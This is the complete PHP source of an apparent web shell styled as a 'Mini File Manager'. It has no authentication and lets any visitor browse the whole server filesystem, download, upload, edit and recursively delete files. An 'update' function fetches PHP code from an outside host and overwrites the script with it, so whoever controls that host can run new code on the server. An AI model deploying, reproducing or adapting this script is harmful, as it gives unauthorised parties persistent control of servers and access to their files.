// Version: 1.1@ini_set(&#039;display_errors&#039;, 1);@ini_set(&#039;display_startup_errors&#039;, 1);@error_reporting(E_ALL);@ini_set(&#039;memory_limit&#039;, &#039;256M&#039;);@set_time_limit(300);// ===============================// Environment &amp; helpers// ===============================@error_reporting(E_ALL &amp; ~E_NOTICE);@ini_set(&#039;display_errors&#039;, 1);// Script version$scriptVersion = &#039;1.1&#039;;// Detect PHP 4 for compatibility$isPhp4 = version_compare(PHP_VERSION, &#039;5.0.0&#039;, &#039;&lt;&#039;);// Base directory (script&#039;s directory)$base = @realpath(dirname(__FILE__));if (!$base) $base = dirname(__FILE__); // Fallback for PHP 4$home = @realpath(&#039;/home&#039;) ? @realpath(&#039;/home&#039;) : $base;$root = @realpath($_SERVER[&#039;DOCUMENT_ROOT&#039;]) ? @realpath($_SERVER[&#039;DOCUMENT_ROOT&#039;]) : $base;// Normalize paths for consistent comparison$base = str_replace(&#039;\\&#039;, &#039;/&#039;, $base);$home = str_replace(&#039;\\&#039;, &#039;/&#039;, $home);$root = str_replace(&#039;\\&#039;, &#039;/&#039;, $root);// Current directory$path = $isPhp4 ? (isset($HTTP_GET_VARS[&#039;path&#039;]) ? $HTTP_GET_VARS[&#039;path&#039;] : &#039;.&#039;) : (isset($_GET[&#039;path&#039;]) ? $_GET[&#039;path&#039;] : &#039;.&#039;);$dir = @realpath($path);if (!$dir || !@is_dir($dir) || !@is_readable($dir)) {    $dir = $base; // Fallback to base if path is invalid or not readable}$dir = str_replace(&#039;\\&#039;, &#039;/&#039;, $dir);// --- Update Logic ---function fetch_url($url) {    $content = &#039;&#039;;    // Try curl first    if (function_exists(&#039;exec&#039;)) {        $tmpDir = &#039;/tmp&#039;;        if (!@is_dir($tmpDir) || !@is_writable($tmpDir)) {            $tmpDir = $GLOBALS[&#039;base&#039;];        }        $tmpFile = $tmpDir . &#039;/&#039; . md5(uniqid(mt_rand(), true)) . &#039;.txt&#039;;        @exec(&#039;curl -s &#039; . escapeshellarg($url) . &#039; &gt; &#039; . $tmpFile . &#039; 2&gt;/dev/null&#039;);        if (@file_exists($tmpFile)) {            $f = @fopen($tmpFile, &#039;r&#039;);            if ($f) {                while (!@feof($f)) {                    $content .= @fread($f, 8192);                }                @fclose($f);                @unlink($tmpFile);            }        }    }    // Fallback to fopen    if (!$content &amp;&amp; @ini_get(&#039;allow_url_fopen&#039;)) {        $fp = @fopen($url, &#039;r&#039;);        if ($fp) {            while (!@feof($fp)) {                $content .= @fread($fp, 8192);            }            @fclose($fp);        }    }    // Normalize content    $content = trim($content);    // Remove BOM    if (substr($content, 0, 3) === &quot;\xEF\xBB\xBF&quot;) {        $content = substr($content, 3);    }    // Normalize line endings    $content = str_replace(&quot;\r\n&quot;, &quot;\n&quot;, $content);    $content = preg_replace(&#039;/^\n+/&#039;, &#039;&#039;, $content); // Remove leading newlines    return $content;}if ($isPhp4 ? isset($HTTP_GET_VARS[&#039;update&#039;]) : isset($_GET[&#039;update&#039;])) {    $updateUrl = &#039;https://heritageangkortours.com/nyx.txt&#039;;    $newScript = fetch_url($updateUrl);    if (!$newScript) {        echo &quot;&lt;div class=&#039;msg error&#039;&gt;Update failed: Could not fetch update file from $updateUrl.&lt;/div&gt;&quot;;    } else {        // Relaxed check for         if (!preg_match(&#039;/^\s*&lt;\?php\b/i&#039;, $newScript)) {            echo &quot;&lt;div class=&#039;msg error&#039;&gt;Update failed: Update file is not valid PHP (must start with &amp;lt;?php).&lt;/div&gt;&quot;;        } else {            // Extract version            $newVersion = &#039;0.0&#039;;            if (preg_match(&#039;/\/\/\s*Version:\s*([\d.]+)/i&#039;, $newScript, $matches)) {                $newVersion = $matches[1];            } else {                echo &quot;&lt;div class=&#039;msg error&#039;&gt;Update failed: Could not find version in update file.&lt;/div&gt;&quot;;            }            if (version_compare($newVersion, $scriptVersion, &#039;&gt;&#039;)) {                $tmpFile = $base . &#039;/04.php.tmp.&#039; . md5(uniqid(mt_rand(), true));                $fallbackFile = $base . &#039;/04.php.fallback&#039;;                if (!@is_writable($base)) {                    echo &quot;&lt;div class=&#039;msg error&#039;&gt;Update failed: Script directory is not writable.&lt;/div&gt;&quot;;                } elseif (@copy(__FILE__, $fallbackFile)) {                    if (safe_put($tmpFile, $newScript)) {                        if (safe_rename($tmpFile, __FILE__)) {                            @unlink($fallbackFile);                            echo &quot;&lt;div class=&#039;msg success&#039;&gt;Updated to version &quot; . h($newVersion) . &quot;. &lt;a href=&#039;?path=&quot; . urlencode($dir) . &quot;&#039;&gt;Refresh&lt;/a&gt;&lt;/div&gt;&quot;;                            exit;                        } else {                            @unlink($tmpFile);                            if (@copy($fallbackFile, __FILE__)) {                                @unlink($fallbackFile);                                echo &quot;&lt;div class=&#039;msg error&#039;&gt;Update failed: Could not replace script. Restored original.&lt;/div&gt;&quot;;                            } else {                                echo &quot;&lt;div class=&#039;msg error&#039;&gt;Update failed: Could not replace script and could not restore original. Fallback saved as &quot; . h(basename($fallbackFile)) . &quot;.&lt;/div&gt;&quot;;                            }                        }                    } else {                        @unlink($fallbackFile);                        echo &quot;&lt;div class=&#039;msg error&#039;&gt;Update failed: Could not save new script.&lt;/div&gt;&quot;;                    }                } else {                    echo &quot;&lt;div class=&#039;msg error&#039;&gt;Update failed: Could not create fallback copy.&lt;/div&gt;&quot;;                }            } else {                echo &quot;&lt;div class=&#039;msg success&#039;&gt;No updates available. Current version: &quot; . h($scriptVersion) . &quot;.&lt;/div&gt;&quot;;            }        }    }}// --- Helpers ---function safe_mkdir($path) {    if (function_exists(&quot;mkdir&quot;)) {        if (@mkdir($path, 0777) || @is_dir($path)) return true;    }    if (function_exists(&#039;exec&#039;)) {        @exec(&#039;mkdir &#039; . escapeshellarg($path) . &#039; 2&gt;/dev/null&#039;);        return @is_dir($path);    }    return false;}function safe_rename($old, $new) {    if (function_exists(&quot;rename&quot;)) {        if (@rename($old, $new)) return true;    }    if (@copy($old, $new)) {        @unlink($old);        return @is_file($new);    }    return false;}function deleteDirectory($file) {    if (!@file_exists($file)) return true;    if (!@is_dir($file)) return @unlink($file);    $items = @scandir($file);    if ($items === false) $items = array();    foreach ($items as $item) {        if ($item == &#039;.&#039; || $item == &#039;..&#039;) continue;        $path = $file . &#039;/&#039; . $item;        if (!deleteDirectory($path)) return false;    }    return @rmdir($file);}function safe_put($file, $data) {    if (!@is_writable(dirname($file))) return false;    $f = @fopen($file, &quot;w&quot;);    if (!$f) return false;    $ok = @fwrite($f, $data);    @fclose($f);    return ($ok !== false);}function safe_get($file) {    $arr = @file($file);    if ($arr === false) return false;    return implode(&quot;&quot;, $arr);}function h($s) {    return htmlspecialchars($s, ENT_QUOTES);}function mime_by_extension($filename) {    static $map = array(        &#039;txt&#039; =&gt; &#039;text/plain&#039;, &#039;html&#039; =&gt; &#039;text/html&#039;, &#039;htm&#039; =&gt; &#039;text/html&#039;, &#039;css&#039; =&gt; &#039;text/css&#039;, &#039;js&#039; =&gt; &#039;application/javascript&#039;,        &#039;json&#039; =&gt; &#039;application/json&#039;, &#039;xml&#039; =&gt; &#039;application/xml&#039;, &#039;jpg&#039; =&gt; &#039;image/jpeg&#039;, &#039;jpeg&#039; =&gt; &#039;image/jpeg&#039;, &#039;png&#039; =&gt; &#039;image/png&#039;,        &#039;gif&#039; =&gt; &#039;image/gif&#039;, &#039;pdf&#039; =&gt; &#039;application/pdf&#039;, &#039;zip&#039; =&gt; &#039;application/zip&#039;, &#039;tar&#039; =&gt; &#039;application/x-tar&#039;,        &#039;gz&#039; =&gt; &#039;application/gzip&#039;, &#039;rar&#039; =&gt; &#039;application/vnd.rar&#039;, &#039;mp3&#039; =&gt; &#039;audio/mpeg&#039;, &#039;mp4&#039; =&gt; &#039;video/mp4&#039;, &#039;csv&#039; =&gt; &#039;text/csv&#039;    );    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));    return isset($map[$ext]) ? $map[$ext] : &#039;application/octet-stream&#039;;}// -------------------------------// DOWNLOAD HANDLER// -------------------------------if ($isPhp4 ? isset($HTTP_GET_VARS[&#039;download&#039;]) : isset($_GET[&#039;download&#039;])) {    $downloadParam = $isPhp4 ? $HTTP_GET_VARS[&#039;download&#039;] : $_GET[&#039;download&#039;];    $baseName = basename($downloadParam);    $candidate = $dir . &#039;/&#039; . $baseName;    $filePath = false;    if (@is_file($candidate) &amp;&amp; @is_readable($candidate)) {        $filePath = $candidate;    } elseif (@is_file($downloadParam) &amp;&amp; @is_readable($downloadParam)) {        $real = @realpath($downloadParam);        if ($real !== false) {            $filePath = $real;        }    }    if ($filePath === false) {        @header(&quot;HTTP/1.0 404 Not Found&quot;);        echo &quot;&lt;div class=&#039;msg error&#039;&gt;File not found or not readable.&lt;/div&gt;&quot;;        exit;    }    $mime = mime_by_extension($filePath);    while (@ob_get_level() &gt; 0) @ob_end_clean();    $filename = basename($filePath);    $fallbackName = preg_replace(&#039;/[^A-Za-z0-9._-]/&#039;, &#039;_&#039;, $filename);    @header(&quot;Content-Description: File Transfer&quot;);    @header(&quot;Content-Type: &quot; . $mime);    @header(&#039;Content-Disposition: attachment; filename=&quot;&#039; . $fallbackName . &#039;&quot;; filename*=UTF-8\&#039;\&#039;&#039; . rawurlencode($filename));    @header(&quot;Content-Transfer-Encoding: binary&quot;);    @header(&#039;Expires: 0&#039;);    @header(&#039;Cache-Control: must-revalidate, post-check=0, pre-check=0&#039;);    @header(&#039;Pragma: public&#039;);    @header(&quot;Content-Length: &quot; . @filesize($filePath));    $chunkSize = 8192;    $handle = @fopen($filePath, &#039;rb&#039;);    if ($handle === false) {        @readfile($filePath);        exit;    }    while (!@feof($handle)) {        echo @fread($handle, $chunkSize);        @flush();        @ob_flush();    }    @fclose($handle);    exit;}// -------------------------------// UPLOAD// -------------------------------$filesVar = $isPhp4 ? (isset($HTTP_POST_FILES) ? $HTTP_POST_FILES : array()) : (isset($_FILES) ? $_FILES : array());if (!empty($filesVar[&#039;file&#039;][&#039;name&#039;])) {    $target = $dir . &#039;/&#039; . basename($filesVar[&#039;file&#039;][&#039;name&#039;]);    if (@is_writable($dir)) {        if (function_exists(&quot;move_uploaded_file&quot;) &amp;&amp; @move_uploaded_file($filesVar[&#039;file&#039;][&#039;tmp_name&#039;], $target)) {            echo &quot;&lt;div class=&#039;msg success&#039;&gt;Uploaded: &quot; . h($filesVar[&#039;file&#039;][&#039;name&#039;]) . &quot;&lt;/div&gt;&quot;;        } elseif (@copy($filesVar[&#039;file&#039;][&#039;tmp_name&#039;], $target)) {            echo &quot;&lt;div class=&#039;msg success&#039;&gt;Uploaded (copy fallback): &quot; . h($filesVar[&#039;file&#039;][&#039;name&#039;]) . &quot;&lt;/div&gt;&quot;;        } else {            echo &quot;&lt;div class=&#039;msg error&#039;&gt;Upload failed! Check directory permissions.&lt;/div&gt;&quot;;        }    } else {        echo &quot;&lt;div class=&#039;msg error&#039;&gt;Upload failed! Directory is not writable.&lt;/div&gt;&quot;;    }}// -------------------------------// DELETE// -------------------------------if ($isPhp4 ? isset($HTTP_GET_VARS[&#039;delete&#039;]) : isset($_GET[&#039;delete&#039;])) {    $targetRel = basename($isPhp4 ? $HTTP_GET_VARS[&#039;delete&#039;] : $_GET[&#039;delete&#039;]);    $target = $dir . &#039;/&#039; . $targetRel;    $realTarget = @realpath($target);    if ($realTarget &amp;&amp; $realTarget !== $base &amp;&amp; $realTarget !== $home &amp;&amp; $realTarget !== &#039;/&#039;) {        if (@is_writable($target) &amp;&amp; deleteDirectory($target)) {            echo &quot;&lt;div class=&#039;msg success&#039;&gt;Deleted: &quot; . h($targetRel) . &quot;&lt;/div&gt;&quot;;        } else {            echo &quot;&lt;div class=&#039;msg error&#039;&gt;Delete failed! Check permissions or if directory contains protected files.&lt;/div&gt;&quot;;        }    } else {        echo &quot;&lt;div class=&#039;msg error&#039;&gt;Delete failed! Invalid or protected path.&lt;/div&gt;&quot;;    }}// -------------------------------// RENAME// -------------------------------$postVar = $isPhp4 ? (isset($HTTP_POST_VARS) ? $HTTP_POST_VARS : array()) : (isset($_POST) ? $_POST : array());if ($isPhp4 ? isset($HTTP_GET_VARS[&#039;rename&#039;]) : isset($_GET[&#039;rename&#039;]) &amp;&amp; !empty($postVar[&#039;new_name&#039;])) {    $targetRel = basename($isPhp4 ? $HTTP_GET_VARS[&#039;rename&#039;] : $_GET[&#039;rename&#039;]);    $target = $dir . &#039;/&#039; . $targetRel;    $realTarget = @realpath($target);    $newName = basename($postVar[&#039;new_name&#039;]);    $newPath = $dir . &#039;/&#039; . $newName;    if ($realTarget &amp;&amp; $realTarget !== $base &amp;&amp; $realTarget !== $home &amp;&amp; $realTarget !== &#039;/&#039;) {        if (@file_exists($target) &amp;&amp; !@file_exists($newPath) &amp;&amp; @is_writable($dir) &amp;&amp; safe_rename($target, $newPath)) {            echo &quot;&lt;div class=&#039;msg success&#039;&gt;Renamed to: &quot; . h($newName) . &quot;&lt;/div&gt;&quot;;        } else {            echo &quot;&lt;div class=&#039;msg error&#039;&gt;Rename failed! Check if the new name already exists or directory permissions.&lt;/div&gt;&quot;;        }    } else {        echo &quot;&lt;div class=&#039;msg error&#039;&gt;Rename failed! Invalid or protected path.&lt;/div&gt;&quot;;    }}// -------------------------------// CREATE FOLDER// -------------------------------if (!empty($postVar[&#039;newfolder&#039;])) {    $newDir = $dir . &#039;/&#039; . basename($postVar[&#039;newfolder&#039;]);    if (!@is_dir($newDir) &amp;&amp; @is_writable($dir) &amp;&amp; safe_mkdir($newDir)) {        echo &quot;&lt;div class=&#039;msg success&#039;&gt;Folder created: &quot; . h($postVar[&#039;newfolder&#039;]) . &quot;&lt;/div&gt;&quot;;    } else {        echo &quot;&lt;div class=&#039;msg error&#039;&gt;Failed to create folder. Check directory permissions.&lt;/div&gt;&quot;;    }}// -------------------------------// CREATE FILE// -------------------------------if (!empty($postVar[&#039;newfile&#039;])) {    $newFile = $dir . &#039;/&#039; . basename($postVar[&#039;newfile&#039;]);    if (!@file_exists($newFile) &amp;&amp; @is_writable($dir)) {        if (safe_put($newFile, &quot;&quot;)) {            echo &quot;&lt;div class=&#039;msg success&#039;&gt;File created: &quot; . h($postVar[&#039;newfile&#039;]) . &quot;&lt;/div&gt;&quot;;        } else {            echo &quot;&lt;div class=&#039;msg error&#039;&gt;Failed to create file. Check directory permissions.&lt;/div&gt;&quot;;        }    } else {        echo &quot;&lt;div class=&#039;msg error&#039;&gt;File already exists or directory is not writable.&lt;/div&gt;&quot;;    }}// -------------------------------// EDIT (save)// -------------------------------if (!empty($postVar[&#039;edit_file&#039;]) &amp;&amp; isset($postVar[&#039;file_content&#039;])) {    $editRel = basename($postVar[&#039;edit_file&#039;]);    $editFile = $dir . &#039;/&#039; . $editRel;    $realEditFile = @realpath($editFile);    if ($realEditFile &amp;&amp; @is_file($editFile) &amp;&amp; @is_writable($editFile)) {        $saved = false;        if (safe_put($editFile, $postVar[&#039;file_content&#039;])) {            $saved = true;        } else {            $tmpName = $editFile . &quot;.tmp.&quot; . md5(uniqid(mt_rand(), true));            if (safe_put($tmpName, $postVar[&#039;file_content&#039;])) {                if (safe_rename($tmpName, $editFile)) {                    $saved = true;                } else {                    @unlink($tmpName);                }            }        }        if ($saved) {            echo &quot;&lt;div class=&#039;msg success&#039;&gt;Saved changes to: &quot; . h($editRel) . &quot;&lt;/div&gt;&quot;;        } else {            $manualFallback = $dir . &#039;/&#039; . $editRel . &#039;.edited.&#039; . date(&#039;Ymd_His&#039;) . &#039;.txt&#039;;            if (safe_put($manualFallback, $postVar[&#039;file_content&#039;])) {                echo &quot;&lt;div class=&#039;msg error&#039;&gt;Could not overwrite original file (permissions). A copy was saved as: &quot; . h(basename($manualFallback)) . &quot; &mdash; download and replace manually if needed.&lt;/div&gt;&quot;;            } else {                echo &quot;&lt;div class=&#039;msg error&#039;&gt;Save failed and could not write fallback copy.&lt;/div&gt;&quot;;            }        }    } else {        echo &quot;&lt;div class=&#039;msg error&#039;&gt;Edit failed! File is not writable or invalid path.&lt;/div&gt;&quot;;    }}// -------------------------------// Render File List// -------------------------------function renderFileList($dir, $home, $base, $isPhp4) {    $sort = $isPhp4 ? (isset($GLOBALS[&#039;HTTP_GET_VARS&#039;][&#039;sort&#039;]) ? $GLOBALS[&#039;HTTP_GET_VARS&#039;][&#039;sort&#039;] : &#039;name&#039;) : (isset($_GET[&#039;sort&#039;]) ? $_GET[&#039;sort&#039;] : &#039;name&#039;);    $output = &quot;<table><tr>&lt;th&gt;&lt;a href=&#039;?path=&quot; . urlencode($dir) . &quot;&amp;sort=name&#039;&gt;Name&lt;/a&gt;&lt;/th&gt;&lt;th&gt;Type&lt;/th&gt;&lt;th&gt;&lt;a href=&#039;?path=&quot; . urlencode($dir) . &quot;&amp;sort=size&#039;&gt;Size&lt;/a&gt;&lt;/th&gt;&lt;th&gt;&lt;a href=&#039;?path=&quot; . urlencode($dir) . &quot;&amp;sort=time&#039;&gt;Modified&lt;/a&gt;&lt;/th&gt;&lt;th&gt;Action&lt;/th&gt;</tr>&quot;;        // Add [UP] link if not at root    $parentPath = dirname($dir);    if ($parentPath !== $dir &amp;&amp; @is_dir($parentPath) &amp;&amp; @is_readable($parentPath)) {        $parentRel = urlencode($parentPath);        $output .= &quot;<tr><td>&lt;a href=&#039;?path=&quot; . $parentRel . &quot;&#039;&gt;[UP]&lt;/a&gt;</td><td>Directory</td><td>-</td><td>-</td><td>-</td></tr>&quot;;    }        // Collect directories and files separately    $dirs = array();    $files = array();    if ($handle = @opendir($dir)) {        while (($f = readdir($handle)) !== false) {            if ($f == &quot;.&quot; || ($f == &quot;..&quot; &amp;&amp; $dir === $base)) continue;            $path = $dir . &quot;/&quot; . $f;            $item = array(                &#039;name&#039; =&gt; $f,                &#039;path&#039; =&gt; $path,                &#039;size&#039; =&gt; @is_file($path) ? @filesize($path) : 0,                &#039;mtime&#039; =&gt; @filemtime($path)            );            if (@is_dir($path)) {                $dirs[] = $item;            } else {                $files[] = $item;            }        }        @closedir($handle);    }        // Sort functions    function sort_compare($a, $b) {        return strnatcmp($a[&#039;name&#039;], $b[&#039;name&#039;]);    }        function sort_by_size($a, $b) {        return $b[&#039;size&#039;] - $a[&#039;size&#039;];    }        function sort_by_time($a, $b) {        return $b[&#039;mtime&#039;] - $a[&#039;mtime&#039;];    }        // Sort directories and files    @usort($dirs, &#039;sort_compare&#039;);    if ($sort === &#039;size&#039;) {        @usort($files, &#039;sort_by_size&#039;);    } elseif ($sort === &#039;time&#039;) {        @usort($files, &#039;sort_by_time&#039;);    } else {        @usort($files, &#039;sort_compare&#039;);    }        // Render directories    foreach ($dirs as $item) {        $f = $item[&#039;name&#039;];        $path = $item[&#039;path&#039;];        $relPath = urlencode($path);        $output .= &quot;<tr><td>&lt;a href=&#039;?path=&quot; . $relPath . &quot;&#039;&gt;[DIR] &quot; . h($f) . &quot;&lt;/a&gt;</td><td>Directory</td><td>-</td><td>&quot; . ($item[&#039;mtime&#039;] ? date(&quot;Y-m-d H:i:s&quot;, $item[&#039;mtime&#039;]) : &#039;-&#039;) . &quot;</td><td>&quot;;        if ($path !== $base &amp;&amp; $path !== $home &amp;&amp; $path !== &#039;/&#039;) {            $output .= &quot;&lt;a href=&#039;?path=&quot; . urlencode($dir) . &quot;&amp;delete=&quot; . urlencode($f) . &quot;&#039; onclick=&#039;return confirm(\&quot;Delete directory $f and all its contents?\&quot;)&#039;&gt;Delete&lt;/a&gt; | &quot;;            $output .= &quot;&lt;a href=&#039;?path=&quot; . urlencode($dir) . &quot;&amp;rename=&quot; . urlencode($f) . &quot;&#039;&gt;Rename&lt;/a&gt;&quot;;        }        $output .= &quot;</td></tr>&quot;;    }        // Render files    foreach ($files as $item) {        $f = $item[&#039;name&#039;];        $path = $item[&#039;path&#039;];        $relPath = urlencode($path);        $dlLink = &quot;?path=&quot; . urlencode($dir) . &quot;&amp;download=&quot; . urlencode($f);        $deleteLink = &quot;?path=&quot; . urlencode($dir) . &quot;&amp;delete=&quot; . urlencode($f);        $editLink = &quot;?path=&quot; . urlencode($dir) . &quot;&amp;edit=&quot; . urlencode($f);        $renameLink = &quot;?path=&quot; . urlencode($dir) . &quot;&amp;rename=&quot; . urlencode($f);        $actions = &quot;&lt;a href=&#039;&quot; . h($dlLink) . &quot;&#039;&gt;Download&lt;/a&gt;&quot;;        if ($path !== $base &amp;&amp; $path !== $home &amp;&amp; $path !== &#039;/&#039;) {            $actions .= &quot; | &lt;a href=&#039;&quot; . h($deleteLink) . &quot;&#039; onclick=&#039;return confirm(\&quot;Delete $f?\&quot;)&#039;&gt;Delete&lt;/a&gt;&quot;;            $ext = strtolower(pathinfo($f, PATHINFO_EXTENSION));            if (in_array($ext, array(&#039;txt&#039;, &#039;php&#039;, &#039;html&#039;, &#039;htm&#039;, &#039;css&#039;, &#039;js&#039;, &#039;log&#039;))) {                $actions .= &quot; | &lt;a href=&#039;&quot; . h($editLink) . &quot;&#039;&gt;Edit&lt;/a&gt;&quot;;            }            $actions .= &quot; | &lt;a href=&#039;&quot; . h($renameLink) . &quot;&#039;&gt;Rename&lt;/a&gt;&quot;;        }        $output .= &quot;<tr><td>[FILE] &quot; . h($f) . &quot;</td><td>File</td><td>&quot; . $item[&#039;size&#039;] . &quot; bytes</td><td>&quot; . ($item[&#039;mtime&#039;] ? date(&quot;Y-m-d H:i:s&quot;, $item[&#039;mtime&#039;]) : &#039;-&#039;) . &quot;</td><td>$actions</td></tr>&quot;;    }        if (empty($dirs) &amp;&amp; empty($files) &amp;&amp; $parentPath === $dir) {        $output .= &quot;<tr>&lt;td colspan=&#039;5&#039;&gt;Unable to open directory.</td></tr>&quot;;    }    $output .= &quot;</table>&quot;;    return $output;}// -------------------------------// Main Logic// -------------------------------$output = renderFileList($dir, $home, $base, $isPhp4);&lt;!DOCTYPE html&gt;<html><head><title>Mini File Manager</title>    &lt;title&gt;Mini File Manager&lt;/title&gt;    &lt;meta charset=&quot;utf-8&quot;&gt;    &lt;style&gt;        body {            font-family: Arial, sans-serif;            font-size: 14px;            background: #0a0a0a url(&#039;https://heritageangkortours.com/nyx.png&#039;) no-repeat center center fixed;            background-size: 700px auto;            color: #eee;        }        h2 {            margin-top: 0;            font-size: 28px;            font-weight: bold;            color: #00ffcc;            text-shadow: 0 0 10px #00ffcc, 0 0 20px #00ffcc;            background: linear-gradient(45deg, #00ffcc, #00cc99);            -webkit-background-clip: text;            -webkit-text-fill-color: transparent;            text-align: center;            padding: 10px;        }        .msg { padding: 8px; margin: 5px 0; border-radius: 4px; }        .success { background: rgba(0, 128, 0, 0.2); border: 1px solid #4caf50; }        .error { background: rgba(128, 0, 0, 0.2); border: 1px solid #f44336; }        table { border-collapse: collapse; width: 100%; background: rgba(0, 0, 0, 0.6); color: #fff; }        th, td { padding: 6px 10px; border: 1px solid #444; }        th { background: rgba(255, 255, 255, 0.1); }        form { margin: 10px 0; }        input[type=text], input[type=file], textarea {            background: rgba(0, 0, 0, 0.6);            color: #fff;            border: 1px solid #555;            padding: 6px;        }        button {            padding: 6px 10px;            cursor: pointer;            background: #111;            color: #0f0;            border: 1px solid #0f0;            border-radius: 4px;        }        button:hover { background: #0f0; color: #111; }        textarea { width: 100%; height: 300px; font-family: monospace; }        .panel { background: rgba(0, 0, 0, 0.6); padding: 10px; margin-bottom: 10px; border: 1px solid #333; border-radius: 6px; }        .small { font-size: 12px; color: #9ee6b7; }        .sort-links { margin-bottom: 10px; }        .sort-links a { color: #0f0; margin-right: 10px; }        .sort-links a:hover { color: #fff; }        .breadcrumbs { margin-bottom: 10px; }        .breadcrumbs a { color: #0f0; margin-right: 8px; font-weight: bold; text-decoration: none; }        .breadcrumbs a:hover { color: #fff; }        .breadcrumbs a::before { content: &#039;[&#039;; }        .breadcrumbs a::after { content: &#039;]&#039;; }    &lt;/style&gt;</head><body><h2>Mini File Manager (v echo h($scriptVersion); )</h2>&lt;div class=&quot;msg success&quot;&gt;Current script version:  echo h($scriptVersion); &lt;/div&gt;&lt;!-- Update Panel --&gt;&lt;div class=&quot;panel&quot;&gt;    &lt;a href=&quot;?path= echo urlencode($dir); &amp;update=1&quot;&gt;&lt;button&gt;Check for Updates&lt;/button&gt;&lt;/a&gt;&lt;/div&gt;&lt;!-- Breadcrumbs --&gt;&lt;div class=&quot;panel breadcrumbs&quot;&gt;$current = @realpath($dir);$parts = array();if ($current &amp;&amp; @is_dir($current) &amp;&amp; @is_readable($current)) {    $parts = explode(DIRECTORY_SEPARATOR, trim($dir, DIRECTORY_SEPARATOR));    $linkPath = &#039;&#039;;    if ($current === DIRECTORY_SEPARATOR) {        echo &quot;&lt;a href=&#039;?path=&quot; . urlencode(&#039;/&#039;) . &quot;&#039;&gt;root&lt;/a&gt;&quot;;    } else {        echo &quot;&lt;a href=&#039;?path=&quot; . urlencode(&#039;/&#039;) . &quot;&#039;&gt;root&lt;/a&gt;&quot;;        foreach ($parts as $p) {            if (!$p) continue;            $linkPath .= DIRECTORY_SEPARATOR . $p;            $realLinkPath = @realpath($linkPath);            if ($realLinkPath &amp;&amp; @is_dir($realLinkPath) &amp;&amp; @is_readable($realLinkPath)) {                echo &quot; &lt;a href=&#039;?path=&quot; . urlencode($realLinkPath) . &quot;&#039;&gt;&quot; . h($p) . &quot;&lt;/a&gt;&quot;;            }        }    }} else {    echo &quot;&lt;div class=&#039;msg error&#039;&gt;Warning: Unable to build navigation trail.&lt;/div&gt;&quot;;}&lt;/div&gt;&lt;div class=&quot;sort-links&quot;&gt;    Sort by:     &lt;a href=&quot;?path= echo urlencode($dir); &amp;sort=name&quot;&gt;Name&lt;/a&gt;    &lt;a href=&quot;?path= echo urlencode($dir); &amp;sort=size&quot;&gt;Size&lt;/a&gt;    &lt;a href=&quot;?path= echo urlencode($dir); &amp;sort=time&quot;&gt;Modified&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;panel&quot;&gt;    <form>        <input type=file>        &lt;button type=&quot;submit&quot;&gt;Upload&lt;/button&gt;    </form>&lt;/div&gt;&lt;div class=&quot;panel&quot;&gt;    <form>        <input type=text>        &lt;button type=&quot;submit&quot;&gt;Create Folder&lt;/button&gt;    </form>&lt;/div&gt;&lt;div class=&quot;panel&quot;&gt;    <form>        <input type=text>        &lt;button type=&quot;submit&quot;&gt;Create File&lt;/button&gt;    </form>&lt;/div&gt;// Rename form for specific file/directoryif ($isPhp4 ? isset($HTTP_GET_VARS[&#039;rename&#039;]) : isset($_GET[&#039;rename&#039;])) {    $renameRel = basename($isPhp4 ? $HTTP_GET_VARS[&#039;rename&#039;] : $_GET[&#039;rename&#039;]);    $renamePath = $dir . &#039;/&#039; . $renameRel;    $realRenamePath = @realpath($renamePath);    if ($realRenamePath &amp;&amp; $realRenamePath !== $base &amp;&amp; $realRenamePath !== $home &amp;&amp; $realRenamePath !== &#039;/&#039;) {        echo &quot;&lt;div class=&#039;panel&#039;&gt;&quot;;        echo &quot;<h3>Rename: &quot; . h($renameRel) . &quot;</h3>&quot;;        echo &quot;<form>&quot;;        echo &quot;&lt;input type=&#039;text&#039; name=&#039;new_name&#039; placeholder=&#039;New name&#039; value=&#039;&quot; . h($renameRel) . &quot;&#039;&gt;&quot;;        echo &quot;&lt;button type=&#039;submit&#039;&gt;Rename&lt;/button&gt;&quot;;        echo &quot;</form>&quot;;        echo &quot;&lt;/div&gt;&quot;;    } else {        echo &quot;&lt;div class=&#039;panel&#039;&gt;&lt;div class=&#039;msg error&#039;&gt;Invalid or protected path for renaming.&lt;/div&gt;&lt;/div&gt;&quot;;    }} echo $output; // Edit viewer/editorif ($isPhp4 ? isset($HTTP_GET_VARS[&#039;edit&#039;]) : isset($_GET[&#039;edit&#039;])) {    $editRel = basename($isPhp4 ? $HTTP_GET_VARS[&#039;edit&#039;] : $_GET[&#039;edit&#039;]);    $editFile = $dir . &quot;/&quot; . $editRel;    $realEditFile = @realpath($editFile);    if ($realEditFile &amp;&amp; @is_file($editFile) &amp;&amp; @is_readable($editFile)) {        $content = safe_get($editFile);        if ($content === false) $content = &quot;&quot;;        echo &quot;&lt;div class=&#039;panel&#039;&gt;<h3>Editing: &quot; . h($editRel) . &quot;</h3> <form> &lt;input type=&#039;hidden&#039; name=&#039;edit_file&#039; value=&#039;&quot; . h($editRel) . &quot;&#039;&gt; &lt;textarea name=&#039;file_content&#039;&gt;&quot; . h($content) . &quot;&lt;/textarea&gt;<br><br> &lt;button type=&#039;submit&#039;&gt;Save&lt;/button&gt; </form>&lt;/div&gt;&quot;;    } else {        echo &quot;&lt;div class=&#039;panel&#039;&gt;&lt;div class=&#039;msg error&#039;&gt;File not readable for editing or invalid path.&lt;/div&gt;&lt;/div&gt;&quot;;    }}&lt;p class=&quot;small&quot;&gt;Tip: If saving fails due to permissions, a downloadable copy (.edited.YYYYMMDD_HHMMSS.txt) is created. Directory deletions are recursive; ensure you confirm before deleting.&lt;/p&gt;</body></html>